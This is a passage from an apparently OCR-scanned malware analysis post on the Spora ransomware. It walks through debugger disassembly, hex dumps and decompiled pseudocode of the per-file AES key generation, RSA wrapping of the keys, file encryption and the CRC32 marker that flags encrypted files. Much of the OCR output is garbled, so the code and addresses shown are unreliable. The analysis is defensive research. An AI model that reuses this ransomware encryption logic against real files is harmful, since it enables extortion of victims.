BE2F47a6|5A B0 B8R 46|72 41 B2 49|32 S5A 4E &1| 32 &2 B2 7E| 2. .FwASIZZHaZbsx
BEZF47F1I6| 58 &4 42 26| 4R &2 &3 47|59 41 33 65|48 28 30 80| PdBsJboGYASeHE=.
BEZF47FZ&| @A 20 20 20|20 20 45 4E|44 20 52 53|41 20 58 52| .-———- EHMO RSA PR
HEZF4736|49 56 41 54|45 20 4B 45|59 20 20 20|20 20 @0 8A| IVATE KEY---—- 0o
HEZF4746| 38 36 2E 3@| 33 ZE 32 3@| 321 37 ¥C 74|65 73 74 65| B6.E3. 2817 iteste
BAZF47EE| 72 FC 5@ 4F|4C FC ¢4 232|352 33 42 32|21 39 37 32| riPOLID2B3C21972
BecFdree| € 32 7C 38 7C 38 7C 38 7C 33 38 7C)3¢ 29 o gg| 2wwinisisie.

Then, another AES key is being generated. It is exported and encrypted by the public RSA
key, that was hardcoded in the sample. Below — encrypting the exported AES key blob:
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The generated AES key is used to encrypt the victim’s data (including the private key from
the generated pair):

BE4E5170 FUSH EEX

A 4651 FE FUSH DWORD PTR DS: [8x4B6996 ]
CALL ESI

B 465126 FUSH [[ARG. 2E]
CALL DWORD PTR DS: [<&KERMELZZ. lstrlenAr]

AE4E515F || . |HND ERX,8:FFFFFFEA

BE4E5132 || . | HDD ERX, 8:28

BE4E5 135 FUSH _ERX

AE4E5 136 MU CARG. 261, ERY

BE4E51939 LER ERX,[ARG.25]

AE46513C FUSH ERX

BE465130 FUSH [ARG. 28]

QE4ES1RE (). | PUSH EBX

AE4E51A1 ] . | PUSH EBX

BE4E5 1R FUSH EBEX

AE4EE 1A= FUsSH [[ARG. 251

IEEEESTEE CALL ESI

1

aduapiZ2.CryptEncrupt; <&ADVARPIZZ.CrvwptEncrypt>
String = "-——— EEGIMN RSA PRIUATE KEY-———- s rn Bw I AAF
lstrlenA

C

aduapid2. CryptEncrupt

k-7 JHtEQRSUpENE-L~r)
Stack 55:

[B812FEES =007 37F 3,

Address

BEZYIFFS
BEZYI2E2
BEZ7IR1E
BEZ7I222
BEZ72232
BEZ7I242
BEZ7 3258
BEZY 3363
BEZYIE7E
BEZY 328
AE27 2292
BEZVI2A2
BEZ7IZES
BEZFIECE

WHAGAARERAGESE gL
ElUgllud42pEEiwdeku
HEUUSWwOIu TLEFpSL)
g.«FhrrHibmPIowI
t 0Kk 4KDaRkzC 9ga
GLAFPSupzUHE jrmee
i THArOgwI 7 SUCHE
WFR. . KEUBEJtBLEOG4E
wfrHESJodLUcgj i
aEZyugHHwEaRbn ko
dHOSk <% jHtEgksUp

The prepared encrypted content is merged into one data block. First, the AES encrypted
victim’s data is copied. After that follows the RSA encrypted AES key (selected on the below

picture):

HE4a5124 FUSH Gxil@@660El
HE4E5129 PUSH Gnesin HAES_Z5&
HE4EE 1 2E FUSH OWORD PTR D5:CA-4859378]
CALL OWorRD PTR D5:C<&AO0UAPIZZ.CruptGenkey ] aduapid2.CruptGenkey

HE4E51 30 TEST ERX,ERR
HE4E5130 () o+ JE spora un. B848526F
HE4ES142 (). | PUSH EBX
HE4E5143 (). | PUSH _EDI
HE4ES144 (). | LEA ERX, CARG.Z271]
HE4E5147 (). | PUSH ERSX
HE4E5148 LEA EAR#, [LOCAL.E]
HE4B514E FUSH ERX
HE48514C ¥OR EER,EEX
HE4B8514E FUSH EBX
HE4E514F PUSH G=&
HE4E5151 FUSH EBX
HE4E5152 FUSH [ARG.Z251
HE4E5 155 MOL EST, Ex 56
HiE4EE 15H HMOU [ARG.27].ESI aduapid2.CruptEncrypt

. |CALL OWORD PTR D5:C«<&%A0VARISZ.CryptExportkeyw ] aduapidz.CruptErportkey
HE4E51e3 (). | TEST ERR,ERX
HE4E51EE () o~ JE spora_un. BE4E8525F
HE4E5 1 5B . |PUSH ESI aduvapidz.CrwptEncrypt

. |MOU ESI,DWNORD PTR DS:[<&ADUARPIZZ.CryptEncrypt>]| aduapi3Z.CryptEncrupt
HE4B51 72 LEA ERX,[CARG.Z2¥1
HE4E51FE FUSH ERX
HE4851 76 LER ERX, CLOCAL.S]
HE4E851 79 FUSH ERX
HE4E51 7R FUSH EBX
HE4E51 7B PUSH =1
HE4851 70 FUSH EBX
HE4EE 1 FE FUSH OWORD FTR D5:[@-486396]

CALL ESI aduapid2.CroyptEncrypt; <&AOUAPIZZ. CruptEncrupt

4
Stack address=BO1ZFE4C
ER¥=HH12FE4C
Address [Hew dump ASCII
HELZFE4C| @8 B2 Ob B8 18 &5 B8 G0 26 0B 8@ B8 FE 19 YO Fr|E8..kF.. ...{43,
HE1Z2FEEC| &Y 93 YF 9C HZ2 5F 49 BE B4 C3 37 A4 &2 48 98 CF|Widara_I2d FrABHZA
HE12FEEC|2H 6A FE 29 1F CE 332 C2 CC FE 7@ 98 2F 3B 27 88| #je3¥43-fepEC; .
HE1Z2FEVC|3F AL B0 7& 11 AS B0 V& 9C 45 4@ @A 3C FE 12 88| &i.w42 . ubER. ved,
HE1Z2FESC|ER FE 12 @8 74 FE 12 @0 9F 3B 27 @A Cd4 FF 12 88| ded,. ted. 05" .— #.
HE1ZFESC| &5 E1 C3 75 HE 13 &4 @3 FE FF FF FF| 50 B8 4F 88| ef fualldes F.0.
901ZFERC| @B 98 99 99 30 14 25 98 FE CC 26 99 B0 00 08 98| ,...090. k.. .,
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paapsics || - | o EDI.EAx

ge4851C5 |1 . | MOV [ARG. 241, EDI
aa4@s1cs || . | CHP EDILEBA
HE4E51CH || .~| JE spora_un. AE48525F
BE4E51068 | . | PUSH [ARG. 261
BE4a5102 | . | PUSH [ARG. 261
AE4E5106 | . | PUSH EDI

. [EALE DWORD FTR DS: [B:4B6926] ntdll.mencow
aa4a5100 | . | PUSH [ARG. 271
pE4Es1EE (| . | LEA ERAX, CLOCAL.S]
AE4E51ES || - | PUSH_ERX
AE4E51E4 | . | MOUV ERX. [HRG. 261
BE4EE1EY || . | ADD ERX.EDI
AE4EE1ES || . | PUSH ERX

. [CALL DWORD FPTR DOS: [E:4HS926 ] ntdll.memcow
ETSISUE=M | - | MOU ECH. [ARG. 261
BE4E51F2 || . |ADD ESP.@Ax1%
gE4851Fe |1 . | LER ERX,.[ARG. 221
AE4E51F2 || . | PUSH_ERX
HE4E51FH | . | MOUV ERX. [ARG. 271
BE4E51F0 || . | PUSH EBX
BE4E51FE || . | PUSH Bu1
BE4E52EE |1 . | ADD ECH, ERX
BE4E5262 || . | PUSH ECX

gE4E5262 || . | PUSH_EDI
[mEqEszE4 |

< [l

Moy EDI,.OWORD PTR D5: [<&CRYPTIZ.CoyptBinaryToStd crupt32.CruptBinaryToSteingd

Stack S5:[001Z2FED2I=RRREEICH
ECH=B88ERAER

Hddress |Hex dump HSCII

oz oE0| AD 17 3C 94 7B Cf A3 2F 41 06 3¢ EA BC 01 OF SO| s#Calau Airi o]
BEZF7SCA| 13 8 64 92 51 2A 96 SF 2F AB B4 74 FS 4F Cl 32| ICdIOwPo-d{ o2
GEZ77506|F3 9E ES C2 18 @8 39 92 IE 7A 35 65 BA A6 2A DE| “XRSP.0 (4z5el| 248
GEZ77SEG| 19 BE BS 83 BE AD 1B 23 53 4@ EB D@ A2 5A IC C5|4233A5k) SEUAGZ 4
BE2775FE0A 16 Bl SE 8@ 42 EE 9B AR 89 20 E7 4B 70 Cl 56| r-BACELT EEKDLS
BEZ776EE 62 D6 AF EC| 27 C9 19 BD @7 CF 32 BE 3E 94 CA 79| bi=»i’[Fé2-H22 ¥iy
Gozrrein| 91 76 48 CF 85 72 BF AP D4 32 DF 42 ED 12 02 FD| CuHBqrsad2=eisss
oozrreca| 15 7R FA SE 82 8E E3 51 22 34 BC 5@ E9 53 7r 02| Sz2° »EANG"H. PUSWE
GoZ77eo0| 18 18 16 BA 77 CA FD F4 93 AC D7 9A 84 BO BE AC tta, W F-3CIi&FAC
Gocooedn| 11 6B 47 98 83 18 4D A4 ES FO 22 4F B3 99 FE 7D 4kGEEtHARE™D100)
Gocooeco| O 1B 84 3C D4 @0 44 9E 32 B3 22 52 29 43 B4 9F ieawd,.Dx2|"e C{A
Gocrrecn| D4 1E 41 3B DA 51 54 €2 EI CO BE F3 84 EE AR AS diA: rTHE=A" 3t 3
Gozrresn| D4 7B @F &C F1 17 68 73 3F 33 4A 38 BF 29 €5 oC disl ghu?3li.éel
Gozrreza| Ev 7F 8C 2C B0 BS 7C 61 63 2F @D B8 74 8C 23 10| 341, .51acs Bt i#e
GRZrTeoa| 24 68 DB 59 3E 4A B0 GO B 75 23 DA BS 34 27 00 5 MV, .Exi.g47.

This merged data is stored in the .KEY file (or in the hidden, base64 encoded content in the
ransom note). It needs to be uploaded to the server by the victim — that's how the attackers

get access to the data necessary to decrypt files after the ransom is paid.

Spora does not change files’ extensions, so it needs some other method of identifying
whether or not the individual file is encrypted. It is done by reading some fragments of the
content.

pFile = EreateFileH{lpFileHame, BxCOo0B88088, 1u, 8, 3Ju, 128u, A);
if { pFile *= (HAHMDLE}-1 )}

{

FileSizeHigh = @;
file size = GetFileSize(pFile, &FileSizeHigh};
if { file size »= 32

&& SetFilePointer{pFile, -132, 8, 2u}) *= -1// -132 characters from FILE_EHD
&& ReadFile{pFile, &Buffer, 128u, &HumberOfBytesRead, 8)

&& HumberOfBytesRead == 128

&& ReadFile{pFile, & crc3?, 4Ju, &HumberOfBytesRead, @)

&& HumberOfBytesRead == 4 }

buffer crci? = RtlComputeCrc32(8, &Buffer, 128);

if { buffer crci32 == crci? )
{
status = 2; /f file is encrypted
H
else
i ) ) ) /f perform file encryption
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As we can see above, the 132 bytes at the end of the file are reserved for the data stored by
Spora: 128 byte long AES key followed by its 4 byte long Crc32. In order to decide if the file
is encrypted or not, data at the file’'s end is read and the saved Crc32 is compared with the
computed Crc32 of the read 128 bytes. If the check passed, Spora finishes processing the
file. Otherwise, it follows with the encryption:

vh = CreateFileMappingW(pFile, 8, 4u, 8, duMaximumSizelow, @);
hObject = wi;
if ( uh )
{
file view = (BYTE =)HapViewDfFile(vk4, Gu, A, 8, duMaximumSizelLow);
if ( file view )

if { CryptGenKey(®, Bx6610u, 1u, &phley) }/7 Bx6618 -> CALG_AES_256
{

bufsSize = 128;
if ( CryptExportKey({phkey, @, 8u, B8, (BYTE =)&aes key, &bufSize)// export generated RAES key
&8 CryptEncrypt(®, 8, 1, B8, (BYTE *)&aes key, &bufSize, 128u)// encrypt generated AES key
&& CryptEncrypt{phKey, 8, 8, 8, file view, &dwMaximumSizelLow, dwHaximumSizeLow) }// encrypt file content
{
_crc32 = RtlComputeGrc32(@, &aes key, 128);
SetFilePointer({pFile, @, @, 2u);// set pointer at FILE_EHND
WriteFile{pFile, &aes key, 128u, &bufSize, @});
WriteFile{pFile, & crc22, du, &bhufsize, B);
status = 1;
H
CryptDestroyKey{phkey);

UnmapViewdfFile{file_view);
y
For each file, a new, individual AES key is generated. It is used to encrypt mapped file
content. The exported representation of the individual key is encrypted by the previously
generated RSA key and then stored at the end of the encrypted file. After that, it's Crc32 is
being computed and also stored at the end.

Conclusion

Spora is an interesting ransomware, for sure created by authors with programming
experience. However, the code is not obfuscated and the execution is very noisy in
comparison to other malware — it may suggest that the authors are not professional malware
designers (in contrary to i.e. authors of Cerber).

The used cryptography implementation seems to have no flaws that would allow for
decrypting attacked files without paying the ransom, so, we recommend focusing on
prevention. Users with Malwarebytes 3.0 installed will be protected from Spora ransomware.
While there currently is no decryption for those infected we suggest keeping a backup of the
infected files as there might be a decrypter in the future.

Appendix

ttps://gist.github.com/coldshell/6204919307418c58128bb01baba6478f — Spora ID decoder

https://www.bleepingcomputer.com/news/security/spora-ransomware-works-offline-has-the-
most-sophisticated-payment-site-as-of-yet/ — Bleeping Computer about Spora
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https://www.malwarebytes.com/premium/
https://gist.github.com/coldshell/6204919307418c58128bb01baba6478f
https://www.bleepingcomputer.com/news/security/spora-ransomware-works-offline-has-the-most-sophisticated-payment-site-as-of-yet/

This was a guest post written by Hasherezade, an independent researcher and programmer
with a strong interest in InfoSec. She loves going in details about malware and sharing threat
information with the community. Check her out on Twitter @hasherezade and her personal
blog: https://hshrzd.wordpress.com.
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